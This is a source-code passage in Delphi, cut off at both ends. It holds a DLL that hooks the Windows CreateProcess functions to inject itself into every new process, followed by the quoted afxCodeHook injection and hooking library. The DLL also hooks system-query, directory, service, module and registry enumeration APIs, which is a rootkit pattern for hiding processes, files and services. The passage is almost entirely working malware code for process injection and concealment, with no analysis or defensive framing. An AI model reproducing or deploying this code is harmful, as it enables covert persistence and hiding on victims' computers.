Result := CreateProcessANextHook(lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo,
lpProcessInformation);
// MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
// InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
// SizeOf(TMainThreadInfo), False);

if result then
ResumeThread(lpProcessInformation.hThread);
sleep(800);
if not result then exit;
ModulePath:= GetCurrentModulePath;
InjectLibrary(lpProcessInformation.hProcess, ModulePath);

end;

function CreateProcessWHookProc(lpApplicationName: PWideChar; lpCommandLine:
PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var
lpProcessInformation: TProcessInformation): BOOL; stdcall;
//var
//// MainThreadInfo: TMainThreadInfo;
var
ModulePath:string;
begin
Result := CreateProcessWNextHook(lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo,
lpProcessInformation);

// MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
// InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
// SizeOf(TMainThreadInfo), False);
//if LowerCase(ExtractFileExt(string(lpApplicationName)))='exe' then
//if Pos(Root ,string(lpCurrentDirectory ))=0 then
if result then
ResumeThread(lpProcessInformation.hThread);
sleep(800);
if not result then exit;
ModulePath:= GetCurrentModulePath;
InjectLibrary(lpProcessInformation.hProcess, ModulePath);


// writedebuginfo('CreatePocessWHook'+lpapplicationname+'执行了');
// writedebuginfo('CreatePocessWHook'+booltostr(bInheritHandles)+'执行了');

end;

function CreateProcessAsUserAHookProc(hToken: THandle; lpApplicationName:
PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes: PSecurityAttributes;
lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL;
dwCreationFlags:
DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const
lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation):
BOOL; stdcall;
//var
// MainThreadInfo: TMainThreadInfo;
//var
// RThread:Thandle;
begin
Result := CreateProcessAsUserANextHook(hToken, lpApplicationName,
lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory,
lpStartupInfo, lpProcessInformation);
// MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
// InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
// SizeOf(TMainThreadInfo), False);
if result then
ResumeThread(lpProcessInformation.hThread);
sleep(800);
if not result then exit;
InjectLibrary(lpProcessInformation.hProcess, GetCurrentModulePath);
end;

function CreateProcessAsUserWHookProc(hToken: THandle; lpApplicationName:
PWideChar; lpCommandLine: PWideChar; lpProcessAttributes: PSecurityAttributes;
lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL;
dwCreationFlags:
DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const
lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation):
BOOL; stdcall;
//var
// MainThreadInfo: TMainThreadInfo;
//var
// RThread:Thandle;
begin
Result := CreateProcessAsUserWNextHook(hToken, lpApplicationName,
lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory,
lpStartupInfo, lpProcessInformation);
// MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
// InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
// SizeOf(TMainThreadInfo), False);
if result then
ResumeThread(lpProcessInformation.hThread);
sleep(800);
if not result then exit;
InjectLibrary(lpProcessInformation.hProcess, GetCurrentModulePath);
end;

function CreateProcessWithLogonWHookProc(lpUsername, lpDomain, lpPassword:
PWideChar; dwLogonFlags: dword; lpApplicationName: PWideChar; lpCommandLine:
PWideChar; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory:
PWideChar; const lpStartupInfo: tSTARTUPINFO; var lpProcessInformation:
TProcessInformation): BOOL; stdcall;
//var
// MainThreadInfo: TMainThreadInfo;
var
ModulePath:string;
begin
Result := CreateProcessWithLogonWNextHook(lpUsername, lpDomain, lpPassword,
dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo,
lpProcessInformation);
// MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
// InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
// SizeOf(TMainThreadInfo), False);
//if LowerCase(ExtractFileExt(string(lpApplicationName)))='exe' then
//if LowerCase(string(lpApplicationName))='explorer.exe' then
if result then
ResumeThread(lpProcessInformation.hThread);
sleep(800);
if not result then exit;
ModulePath:= GetCurrentModulePath;
InjectLibrary(lpProcessInformation.hProcess, ModulePath);
// writedebuginfo('CreatePocessWithLogonWHook'+lpapplicationname+'执行了');

end;
procedure EntryPoint(Reason: dword);
begin
try
if Reason <> DLL_PROCESS_ATTACH then
Exit;
Root := GetFolder;
if IsId(GetCurrentProcessId) then
Exit;
SetPrivilege;
HookCode(GetProcAddress(GetModuleHandle(Kernel), 'CreateProcessA'),
@CreateProcessAHookProc, @CreateProcessANextHook);
HookCode(GetProcAddress(GetModuleHandle(Kernel), 'CreateProcessW'),
@CreateProcessWHookProc, @CreateProcessWNextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'CreateProcessAsUserA'),
@CreateProcessAsUserAHookProc, @CreateProcessAsUserANextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'CreateProcessAsUserW'),
@CreateProcessAsUserWHookProc, @CreateProcessAsUserWNextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'CreateProcessWithLogonW'),
@CreateProcessWithLogonWHookProc, @CreateProcessWithLogonWNextHook);
HookCode(GetProcAddress(GetModuleHandle(Ntdll), 'NtQuerySystemInformation'),
@NtQuerySystemInformationHookProc, @NtQuerySystemInformationNextHook);
// HookCode(GetProcAddress(GetModuleHandle(Ntdll), 'NtDeviceIoControlFile'),
// @NtDeviceIoControlFileHookProc, @NtDeviceIoControlFileNextHook);
HookCode(GetProcAddress(GetModuleHandle(Ntdll), 'NtQueryDirectoryFile'),
@NtQueryDirectoryFileHookProc, @NtQueryDirectoryFileNextHook);
HookCode(GetProcAddress(GetModuleHandle(Ntdll),
'RtlQueryProcessDebugInformation'),
@RtlQueryProcessDebugInformationHookProc,
@RtlQueryProcessDebugInformationNextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'EnumServicesStatusA'),
@EnumServicesStatusAHookProc, @EnumServicesStatusANextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'EnumServicesStatusW'),
@EnumServicesStatusWHookProc, @EnumServicesStatusWNextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'EnumServicesStatusExA'),
@EnumServicesStatusExAHookProc, @EnumServicesStatusExANextHook);
HookCode(GetProcAddress(GetModuleHandle(Advapi), 'EnumServicesStatusExW'),
@EnumServicesStatusExWHookProc, @EnumServicesStatusExWNextHook);
HookCode(GetProcAddress(LoadLibrary('psapi'), 'EnumProcessModules'),
@EnumProcessModulesHookProc, @EnumProcessModulesNextHook);
if not IsExplorer(GetCurrentProcessId) then
HookCode(GetProcAddress(GetModuleHandle(Ntdll), 'NtEnumerateValueKey'),
@NtEnumerateValueKeyHookProc, @NtEnumerateValueKeyNextHook);
if not IsExplorer(GetCurrentProcessId) then
HookCode(GetProcAddress(GetModuleHandle(Ntdll), 'NtEnumerateKey'),
@NtEnumerateKeyHookProc, @NtEnumerateKeyNextHook);

except
on E:exception do
WriteDebugInfo(e.message);

end;
// writedebuginfo('dll执行了');
end;
begin
DLLProc := @EntryPoint;
EntryPoint(DLL_PROCESS_ATTACH);
ExitThread(0);
end.


下面是引用afxcodehook.pas单元代码
{
Delphi Hooking Library by Aphex
http://www.iamaphex.cjb.net/
unremote@knology.net
}

unit afxCodeHook;

{$IMAGEBASE $13140000}

interface

uses
Windows;

function SizeOfCode(Code: pointer): dword;
function SizeOfProc(Proc: pointer): dword;

function InjectString(Process: LongWord; Text: pchar): pchar;
function InjectMemory(Process: LongWord; Memory: pointer; Len: dword): pointer;
function InjectThread(Process: longword; Thread: pointer; Info: pointer;
InfoLen: longword; Results: boolean): THandle;overload;
function InjectThread(Process: longword; Thread: pointer; Info: pointer;
InfoLen: longword; Results: boolean; var RemoteThreadHandle:thandle): THandle;overload;

function InjectLibrary(Process: LongWord; ModulePath: string;var RemoteThreadHandle:thandle): boolean;
overload;
function InjectLibrary(Process: LongWord; ModulePath: string): boolean;
overload;

function InjectLibrary(Process: LongWord; Src: pointer;var RemoteThreadHandle:thandle): boolean; overload;
function InjectLibrary(Process: LongWord; Src: pointer): boolean; overload;
function InjectExe(Process: LongWord; EntryPoint: pointer): boolean;
function UninjectLibrary(Process: LongWord; ModulePath: string): boolean;

function CreateProcessEx(lpApplicationName: pchar; lpCommandLine: pchar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles:
boolean; dwCreationFlags: longword; lpEnvironment: pointer; lpCurrentDirectory:
pchar; const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation; ModulePath: string): boolean; overload;
function CreateProcessEx(lpApplicationName: pchar; lpCommandLine: pchar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles:
boolean; dwCreationFlags: longword; lpEnvironment: pointer; lpCurrentDirectory:
pchar; const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation; Src: pointer): boolean; overload;

function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;
function UnhookCode(OldProc: pointer): boolean;

function DeleteFileEx(FilePath: pchar): boolean;

implementation

type
TModuleList = array of cardinal;

PImageImportDescriptor = ^TImageImportDescriptor;
TImageImportDescriptor = packed record
OriginalFirstThunk: longword;
TimeDateStamp: longword;
ForwarderChain: longword;
Name: longword;
FirstThunk: longword;
end;

PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: cardinal;
SizeOfBlock: cardinal;
end;

TDllEntryProc = function(hinstDLL: HMODULE; dwReason: longword; lpvReserved:
pointer): boolean; stdcall;

TStringArray = array of string;

TLibInfo = record
ImageBase: pointer;
ImageSize: longint;
DllProc: TDllEntryProc;
DllProcAddress: pointer;
LibsUsed: TStringArray;
end;

PLibInfo = ^TLibInfo;
Ppointer = ^pointer;

TSections = array[0..0] of TImageSectionHeader;

const
IMPORTED_NAME_OFFSET = $00000002;
IMAGE_ORDINAL_FLAG32 = $80000000;
IMAGE_ORDINAL_MASK32 = $0000FFFF;

Opcodes1: array[0..255] of word =
(
(16913), (17124), (8209), (8420), (33793), (35906), (0), (0), (16913),
(17124), (8209), (8420), (33793), (35906), (0), (0), (16913),
(17124), (8209), (8420), (33793), (35906), (0), (0), (16913), (17124),
(8209), (8420), (33793), (35906), (0), (0), (16913),
(17124), (8209), (8420), (33793), (35906), (0), (32768), (16913), (17124),
(8209), (8420), (33793), (35906), (0), (32768), (16913),
(17124), (8209), (8420), (33793), (35906), (0), (32768), (529), (740), (17),
(228), (1025), (3138), (0), (32768), (24645),
(24645), (24645), (24645), (24645), (24645), (24645), (24645), (24645),
(24645), (24645), (24645), (24645), (24645), (24645), (24645), (69),
(69), (69), (69), (69), (69), (69), (69), (24645), (24645), (24645),
(24645), (24645), (24645), (24645), (24645), (0),
(32768), (228), (16922), (0), (0), (0), (0), (3072), (11492), (1024),
(9444), (0), (0), (0), (0), (5120),
(5120), (5120), (5120), (5120), (5120), (5120), (5120), (5120), (5120),
(5120), (5120), (5120), (5120), (5120), (5120), (1296),
(3488), (1296), (1440), (529), (740), (41489), (41700), (16913), (17124),
(8209), (8420), (17123), (8420), (227), (416), (0),
(57414), (57414), (57414), (57414), (57414), (57414), (57414), (32768), (0),
(0), (0), (0), (0), (0), (32768), (33025),
(33090), (769), (834), (0), (0), (0), (0), (1025), (3138), (0), (0),
(32768), (32768), (0), (0), (25604),
(25604), (25604), (25604), (25604), (25604), (25604), (25604), (27717),
(27717), (27717), (27717), (27717), (27717), (27717), (27717), (17680),
(17824), (2048), (0), (8420), (8420), (17680), (19872), (0), (0), (2048),
(0), (0), (1024), (0), (0), (16656),
(16800), (16656), (16800), (33792), (33792), (0), (32768), (8), (8), (8),
(8), (8), (8), (8), (8), (5120),
(5120), (5120), (5120), (33793), (33858), (1537), (1602), (7168), (7168),
(0), (5120), (32775), (32839), (519), (583), (0),
(0), (0), (0), (0), (0), (8), (8), (0), (0), (0), (0), (0), (0), (16656),
(416)
);

Opcodes2: array[0..255] of word =
(
(280), (288), (8420), (8420), (65535), (0), (0), (0), (0), (0), (65535),
(65535), (65535), (272), (0), (1325), (63),
(575), (63), (575), (63), (63), (63), (575), (272), (65535), (65535),
(65535), (65535), (65535), (65535), (65535), (16419),
(16419), (547), (547), (65535), (65535), (65535), (65535), (63), (575),
(47), (575), (61), (61), (63), (63), (0),
(32768), (32768), (32768), (0), (0), (65535), (65535), (65535), (65535),
(65535), (65535), (65535), (65535), (65535), (65535), (8420),
(8420), (8420), (8420), (8420), (8420), (8420), (8420), (8420), (8420),
(8420), (8420), (8420), (8420), (8420), (8420), (16935),
(63), (63), (63), (63), (63), (63), (63), (63), (63), (63), (63), (63),
(63), (63), (63), (237),
(237), (237), (237), (237), (237), (237), (237), (237), (237), (237), (237),
(237), (237), (101), (237), (1261),
(1192), (1192), (1192), (237), (237), (237), (0), (65535), (65535), (65535),
(65535), (65535), (65535), (613), (749), (7168),
(7168), (7168), (7168), (7168), (7168), (7168), (7168), (7168), (7168),
(7168), (7168), (7168), (7168), (7168), (7168), (16656),
(16656), (16656), (16656), (16656), (16656), (16656), (16656), (16656),
(16656), (16656), (16656), (16656), (16656), (16656), (16656), (0),
(0), (32768), (740), (18404), (17380), (49681), (49892), (0), (0), (0),
(17124), (18404), (17380), (32), (8420), (49681),
(49892), (8420), (17124), (8420), (8932), (8532), (8476), (65535), (65535),
(1440), (17124), (8420), (8420), (8532), (8476), (41489),
(41700), (1087), (548), (1125), (9388), (1087), (33064), (24581), (24581),
(24581), (24581), (24581), (24581), (24581), (24581), (65535),
(237), (237), (237), (237), (237), (749), (8364), (237), (237), (237),
(237), (237), (237), (237), (237), (237),
(237), (237), (237), (237), (237), (63), (749), (237), (237), (237), (237),
(237), (237), (237), (237), (65535),
(237), (237), (237), (237), (237), (237), (237), (237), (237), (237), (237),
(237), (237), (237), (0)
);

Opcodes3: array[0..9] of array[0..15] of word =
(
((1296), (65535), (16656), (16656), (33040), (33040), (33040), (33040),
(1296), (65535), (16656), (16656), (33040), (33040), (33040), (33040)),
((3488), (65535), (16800), (16800), (33184), (33184), (33184), (33184),
(3488), (65535), (16800), (16800), (33184), (33184), (33184), (33184)),
((288), (288), (288), (288), (288), (288), (288), (288), (54), (54), (48),
(48), (54), (54), (54), (54)),
((288), (65535), (288), (288), (272), (280), (272), (280), (48), (48), (0),
(48), (0), (0), (0), (0)),
((288), (288), (288), (288), (288), (288), (288), (288), (54), (54), (54),
(54), (65535), (0), (65535), (65535)),
((288), (65535), (288), (288), (65535), (304), (65535), (304), (54), (54),
(54), (54), (0), (54), (54), (0)),
((296), (296), (296), (296), (296), (296), (296), (296), (566), (566), (48),
(48), (566), (566), (566), (566)),
((296), (65535), (296), (296), (272), (65535), (272), (280), (48), (48),
(48), (48), (48), (48), (65535), (65535)),
((280), (280), (280), (280), (280), (280), (280), (280), (566), (566), (48),
(566), (566), (566), (566), (566)),
((280), (65535), (280), (280), (304), (296), (304), (296), (48), (48), (48),
(48), (0), (54), (54), (65535))
);

function SaveOldFunction(Proc: pointer; Old: pointer): longword; forward;
function GetProcAddressEx(Process: LongWord; lpModuleName, lpProcName: pchar;
dwProcLen: dword): pointer; forward;
function MapLibrary(Process: LongWord; Dest, Src: pointer): TLibInfo; forward;

function SizeOfCode(Code: pointer): longword;
var
Opcode: word;
Modrm: byte;
Fixed, AddressOveride: boolean;
Last, OperandOveride, Flags, Rm, Size, Extend: longword;
begin
try
Last := longword(Code);
if Code <> nil then
begin
AddressOveride := False;
Fixed := False;
OperandOveride := 4;
Extend := 0;
repeat
Opcode := byte(Code^);
Code := pointer(longword(Code) + 1);
if Opcode = $66 then
begin
OperandOveride := 2;
end
else if Opcode = $67 then
begin
AddressOveride := True;
end
else
begin
if not ((Opcode and $E7) = $26) then
begin
if not (Opcode in [$64..$65]) then
begin
Fixed := True;
end;
end;
end;
until Fixed;
if Opcode = $0F then
begin
Opcode := byte(Code^);
Flags := Opcodes2[Opcode];
Opcode := Opcode + $0F00;
Code := pointer(longword(Code) + 1);
end
else
begin
Flags := Opcodes1[Opcode];
end;
if ((Flags and $0038) <> 0) then
begin
Modrm := byte(Code^);
Rm := Modrm and $7;
Code := pointer(longword(Code) + 1);
case (Modrm and $C0) of
$40: Size := 1;
$80:
begin
if AddressOveride then
begin
Size := 2;
end
else
Size := 4;
end;
else
begin
Size := 0;
end;
end;
if not (((Modrm and $C0) <> $C0) and AddressOveride) then
begin
if (Rm = 4) and ((Modrm and $C0) <> $C0) then
begin
Rm := byte(Code^) and $7;
end;
if ((Modrm and $C0 = 0) and (Rm = 5)) then
begin
Size := 4;
end;
Code := pointer(longword(Code) + Size);
end;
if ((Flags and $0038) = $0008) then
begin
case Opcode of
$F6: Extend := 0;
$F7: Extend := 1;
$D8: Extend := 2;
$D9: Extend := 3;
$DA: Extend := 4;
$DB: Extend := 5;
$DC: Extend := 6;
$DD: Extend := 7;
$DE: Extend := 8;
$DF: Extend := 9;
end;
if ((Modrm and $C0) <> $C0) then
begin
Flags := Opcodes3[Extend][(Modrm shr 3) and $7];
end
else
begin
Flags := Opcodes3[Extend][((Modrm shr 3) and $7) + 8];
end;
end;
end;
case (Flags and $0C00) of
$0400: Code := pointer(longword(Code) + 1);
$0800: Code := pointer(longword(Code) + 2);
$0C00: Code := pointer(longword(Code) + OperandOveride);
else
begin
case Opcode of
$9A, $EA: Code := pointer(longword(Code) + OperandOveride + 2);
$C8: Code := pointer(longword(Code) + 3);
$A0..$A3:
begin
if AddressOveride then
begin
Code := pointer(longword(Code) + 2)
end
else
begin
Code := pointer(longword(Code) + 4);
end;
end;
end;
end;
end;
end;
Result := longword(Code) - Last;
except
Result := 0;
end;
end;

function SizeOfProc(Proc: pointer): longword;
var
Length: longword;
begin
Result := 0;
repeat
Length := SizeOfCode(Proc);
Inc(Result, Length);
if ((Length = 1) and (byte(Proc^) = $C3)) then
Break;
Proc := pointer(longword(Proc) + Length);
until Length = 0;
end;

function InjectString(Process: LongWord; Text: pchar): pchar;
var
BytesWritten: longword;
begin
Result := VirtualAllocEx(Process, nil, Length(Text) + 1, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten);
end;

function InjectMemory(Process: LongWord; Memory: pointer; Len: longword):
pointer;
var
BytesWritten: longword;
begin
Result := VirtualAllocEx(Process, nil, Len, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Len, BytesWritten);
end;


function InjectThread(Process: longword; Thread: pointer; Info: pointer;
InfoLen: longword; Results: boolean): THandle;
var
pThread, pInfo: pointer;
BytesRead, TID: longword;
sizeofThread:cardinal;
begin
pInfo := InjectMemory(Process, Info, InfoLen);
sizeofthread:=SizeOfProc(Thread);
if sizeofthread=0 then
begin
result:=0;
exit;
end;
pThread := InjectMemory(Process, Thread, sizeofthread);
Result := CreateRemoteThread(Process, nil, 0, pThread, pInfo, 0, TID);
if Results then
begin
WaitForSingleObject(Result, INFINITE);
ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
end;
end;
function InjectThread(Process: longword; Thread: pointer; Info: pointer;
InfoLen: longword; Results: boolean; var RemoteThreadHandle:thandle): THandle;
var
pThread, pInfo: pointer;
BytesRead, TID: longword;
begin
pInfo := InjectMemory(Process, Info, InfoLen);
pThread := InjectMemory(Process, Thread, SizeOfProc(Thread));
Result := CreateRemoteThread(Process, nil, 0, pThread, pInfo, CREATE_SUSPENDED, TID);
remotethreadhandle:=result;
if Results then
begin
WaitForSingleObject(Result, INFINITE);
ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
end;
end;

function InjectLibrary(Process: LongWord; ModulePath:string;var RemoteThreadHandle:thandle): boolean;
type
TInjectLibraryInfo = record
pLoadLibrary: pointer;
lpModuleName: pointer;
end;
var
InjectLibraryInfo: TInjectLibraryInfo;
Thread: THandle;
Rthread:Thandle;
procedure InjectLibraryThread(lpParameter: pointer); stdcall;
var
InjectLibraryInfo: TInjectLibraryInfo;
begin
InjectLibraryInfo := TInjectLibraryInfo(lpParameter^);
asm
push InjectLibraryInfo.lpModuleName
call InjectLibraryInfo.pLoadLibrary
end;
end;

begin
try
Result := False;


InjectLibraryInfo.pLoadLibrary := GetProcAddress(GetModuleHandle('kernel32'),
'LoadLibraryA');
InjectLibraryInfo.lpModuleName := InjectString(Process, pchar(ModulePath));
Thread := InjectThread(Process, @InjectLibraryThread, @InjectLibraryInfo,
SizeOf(TInjectLibraryInfo), False,Rthread);
RemoteThreadHandle:=Rthread;
if Thread = 0 then
Exit;
CloseHandle(Thread);
except
end;
Result := True;
// Sleep(1000);
end;
function InjectLibrary(Process: LongWord; ModulePath: string): boolean;
type
TInjectLibraryInfo = record
pLoadLibrary: pointer;
lpModuleName: pointer;
end;
var
InjectLibraryInfo: TInjectLibraryInfo;
Thread: THandle;
procedure InjectLibraryThread(lpParameter: pointer); stdcall;
var
InjectLibraryInfo: TInjectLibraryInfo;
begin
InjectLibraryInfo := TInjectLibraryInfo(lpParameter^);
asm
push InjectLibraryInfo.lpModuleName
call InjectLibraryInfo.pLoadLibrary
end;
end;

begin
try
Result := False;
InjectLibraryInfo.pLoadLibrary := GetProcAddress(GetModuleHandle('kernel32'),
'LoadLibraryA');
InjectLibraryInfo.lpModuleName := InjectString(Process, pchar(ModulePath));
Thread := InjectThread(Process, @InjectLibraryThread, @InjectLibraryInfo,
SizeOf(TInjectLibraryInfo), False);
if Thread = 0 then
Exit;
CloseHandle(Thread);
except
end;
Result := True;
// Sleep(1000);
end;

function InjectLibrary(Process: LongWord; Src: pointer;var RemoteThreadHandle:thandle): boolean;
type
TDllLoadInfo = record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
DllLoadInfo: TDllLoadInfo;
BytesWritten: longword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: longword;
RThread:thandle;
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;

begin
Result := False;
ImageNtHeaders := pointer(int64(cardinal(Src)) +
PImageDosHeader(Src)._lfanew);
Offset := $10000000;
repeat
Inc(Offset, $10000);
pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase +
Offset), ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
VirtualFree(pModule, 0, MEM_RELEASE);
pModule := VirtualAllocEx(Process,
pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end;
until ((pModule <> nil) or (Offset > $30000000));
Lib := MapLibrary(Process, pModule, Src);
if Lib.ImageBase = nil then
Exit;
DllLoadInfo.Module := Lib.ImageBase;
DllLoadInfo.EntryPoint := Lib.DllProcAddress;
WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize,
BytesWritten);
if InjectThread(Process, @DllEntryPoint, @DllLoadInfo, SizeOf(TDllLoadInfo),
False,RThread) <> 0 then
Result := True;
RemoteThreadHandle:=rthread;
end;
function InjectLibrary(Process: LongWord; Src: pointer): boolean;
type
TDllLoadInfo = record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
DllLoadInfo: TDllLoadInfo;
BytesWritten: longword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: longword;
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;

begin
Result := False;
ImageNtHeaders := pointer(int64(cardinal(Src)) +
PImageDosHeader(Src)._lfanew);
Offset := $10000000;
repeat
Inc(Offset, $10000);
pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase +
Offset), ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
VirtualFree(pModule, 0, MEM_RELEASE);
pModule := VirtualAllocEx(Process,
pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end;
until ((pModule <> nil) or (Offset > $30000000));
Lib := MapLibrary(Process, pModule, Src);
if Lib.ImageBase = nil then
Exit;
DllLoadInfo.Module := Lib.ImageBase;
DllLoadInfo.EntryPoint := Lib.DllProcAddress;
WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize,
BytesWritten);
if InjectThread(Process, @DllEntryPoint, @DllLoadInfo, SizeOf(TDllLoadInfo),
False) <> 0 then
Result := True;
end;

function InjectExe(Process: LongWord; EntryPoint: pointer): boolean;
var
Module, NewModule: pointer;
Size, TID: longword;
begin
Result := False;
Module := pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(pointer(integer(Module) +
PImageDosHeader(Module)._lfanew + SizeOf(longword) +
SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(Process, Module, 0, MEM_RELEASE);
NewModule := InjectMemory(Process, Module, Size);
if CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID) <> 0
then
Result := True;
end;

function UninjectLibrary(Process: LongWord; ModulePath: string): boolean;
type
TUninjectLibraryInfo = record
pFreeLibrary: pointer;
pGetModuleHandle: pointer;
lpModuleName: pointer;
pExitThread: pointer;
end;
var
UninjectLibraryInfo: TUninjectLibraryInfo;
Thread: THandle;

procedure UninjectLibraryThread(lpParameter: pointer); stdcall;
var
UninjectLibraryInfo: TUninjectLibraryInfo;
begin
UninjectLibraryInfo := TUninjectLibraryInfo(lpParameter^);
asm
@1:
inc ecx
push UninjectLibraryInfo.lpModuleName
call UninjectLibraryInfo.pGetModuleHandle
cmp eax, 0
je @2
push eax
call UninjectLibraryInfo.pFreeLibrary
jmp @1
@2:
push eax
call UninjectLibraryInfo.pExitThread
end;
end;

begin
Result := False;
UninjectLibraryInfo.pGetModuleHandle :=
GetProcAddress(GetModuleHandle('kernel32'), 'GetModuleHandleA');
UninjectLibraryInfo.pFreeLibrary := GetProcAddress(GetModuleHandle('kernel32'),
'FreeLibrary');
UninjectLibraryInfo.pExitThread := GetProcAddress(GetModuleHandle('kernel32'),
'ExitThread');
UninjectLibraryInfo.lpModuleName := InjectString(Process, pchar(ModulePath));
Thread := InjectThread(Process, @UninjectLibraryThread, @UninjectLibraryInfo,
SizeOf(TUninjectLibraryInfo), False);
if Thread = 0 then
Exit;
CloseHandle(Thread);
Result := True;
end;

function CreateProcessEx(lpApplicationName: pchar; lpCommandLine: pchar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles:
boolean; dwCreationFlags: longword; lpEnvironment: pointer; lpCurrentDirectory:
pchar; const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation; ModulePath: string): boolean;
type
TMainThreadInfo = record
pSleep: pointer;
end;
var
MainThreadInfo: TMainThreadInfo;

procedure MainThread(lpParameter: pointer); stdcall;
var
MainThreadInfo: TMainThreadInfo;
begin
MainThreadInfo := TMainThreadInfo(lpParameter^);
asm
@noret:
push 1000
call MainThreadInfo.pSleep
jmp @noret
end;
end;

begin
Result := False;
if not CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation) then
Exit;
MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
SizeOf(TMainThreadInfo), False);
Result := InjectLibrary(lpProcessInformation.hProcess, ModulePath);
ResumeThread(lpProcessInformation.hThread);
end;

function CreateProcessEx(lpApplicationName: pchar; lpCommandLine: pchar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles:
boolean; dwCreationFlags: longword; lpEnvironment: pointer; lpCurrentDirectory:
